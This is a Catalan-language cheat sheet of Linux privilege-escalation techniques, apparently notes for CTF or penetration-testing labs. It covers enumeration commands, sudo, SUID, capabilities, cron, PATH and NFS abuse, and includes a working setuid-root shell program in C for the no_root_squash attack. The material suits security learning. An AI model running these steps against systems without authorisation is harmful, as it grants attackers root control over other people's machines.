Escalada de privilegis
1. Enumeration
Per tal de poder escalar privilegis quan entrem dins una màquina, primer haurem de saber en quina màquina ens trobem.
hostname -> veure el nom de la màquina
uname -a -> informació del sistema i el kernel
cat /proc/versión -> informació del sistema i el kernel
cat /etc/issue -> informació del sistema operatiu
ps -A | ps axjf | ps aux -> veure els processos del sistema
env -> mostrar les variables d’entorn
sudo -l -> comandes que l’usuari pot executar com a administrador
history -> veure les comandes que s’han executat en el sistema
ifconfig | ip route -> veure informació sobre connexions
2. Eines d’enumeració automàtica - scripts
Scripts que ens ajudaran a trobar vulnerabilitats.
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
3. Kernel exploits
Podem veure la versió del kernel del sistema (uname -a) i buscar per internet si existeixen exploits disponibles.
4. Sudo
sudo -l -> veure si amb el nostre usuari podem executar alguna comanda amb sudo
Buscar si hi ha alguna vulnerabilitat a https://gtfobins.github.io/
Màquines#Year of the Rabbit
De vegades, si la versió de la shell és antiga, podem trobar una altra vulnerabilitat.
Si quan fem sudo -l
ens apareix que l'usuari pot fer servir un programa com a qualsevol usuari menys l'usuari root (ALL, !root) <programa>
, intentarem executar aquest programa amb l'usuari #-1
. Pot ser que com que aquest usuari no existeix, acabem executant la comanda com a root.
5. SUID
find / -type f -perm -04000 -ls 2>/dev/null -> buscar programes que tinguin el bit SUID activat, és a dir, que s’executin com el seu propietari
Buscar si hi ha alguna vulnerabilitat a https://gtfobins.github.io/
6. Capabilities
getcap -r / 2>/dev/null -> podem veure els programes els quals l’usuari pot fer servir com a administrador.
Buscar si hi ha alguna vulnerabilitat a https://gtfobins.github.io/
7. Cron Jobs
cat /etc/crontab -> podem veure les taules dels cronjobs. Si hi ha un script en el qual tenim permisos per poder-lo editar i que s’executa periòdicament com a administrador, podem introduir nosaltres el nostre propi codi a executar.
És important que el codi que vulguem executar sigui una reverse shell, ja que els cronjobs s’executen sempre en segon pla.
8. PATH
echo $PATH -> veure les variables d’entorn del sistema
export PATH=/tmp:$PATH -> afegir una nova ruta a les variables d’entorn del sistema
Podem fer servir aquesta vulnerabilitat de vàries maneres:
Podem trobar un programa que en el seu codi cridi a un altre programa amb una ruta no relativa. Llavors, al nosaltres poder veure el codi del programa, sabem exactament el nom del programa que està cridant. (programa en c, python, ...)
Si no podem accedir al codi del programa, podem veure si trobem alguna cosa que ens pugui servir fent servir la comanda strings "nom del programa". (sobretot programes de sistema)
És important que per fer servir aquest mètode d’escalada de privilegis, el programa que vulguem explotar tingui el SUID root activat, per tal que executi el nostre script com a administrador.
9. NFS
cat /etc/exports -> veure les unitats de xarxa que podem muntar en el nostre ordinador. Podrem explotar-les si tenen activada la clàusula no_root_squash.
Des del Kali
showmount -e "ip màquina" -> veurem les unitats que tenim disponibles per muntar a la nostra màquina
mkdir /tmp/mount -> creem una carpeta on muntarem la unitat que vulguem
mount -o rw "ip màquina":/"carpeta a muntar" /tmp/mount -> muntem la carpeta en el directori que hem creat anteriorment en el nostre equip
Un cop tinguem la carpeta muntada, des del nostre Kali crearem un script que ens farà aparèixer una shell. A aquest script li donarem permisos totals i li activarem el SUID. El propietària haurà de ser root.
sudo nano script.c -> creem l’script en llenguatge C i com a usuari root
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
sudo gcc script.c -o script -w -> compilem el programa
sudo chmod +s script -> activem el SUID del programa
Ara, des de la màquina, ja podem executar el programa. Com que hi ha l’SUID activat i tenim la clàusula no_root_squash, se’ns executarà una terminal com a root.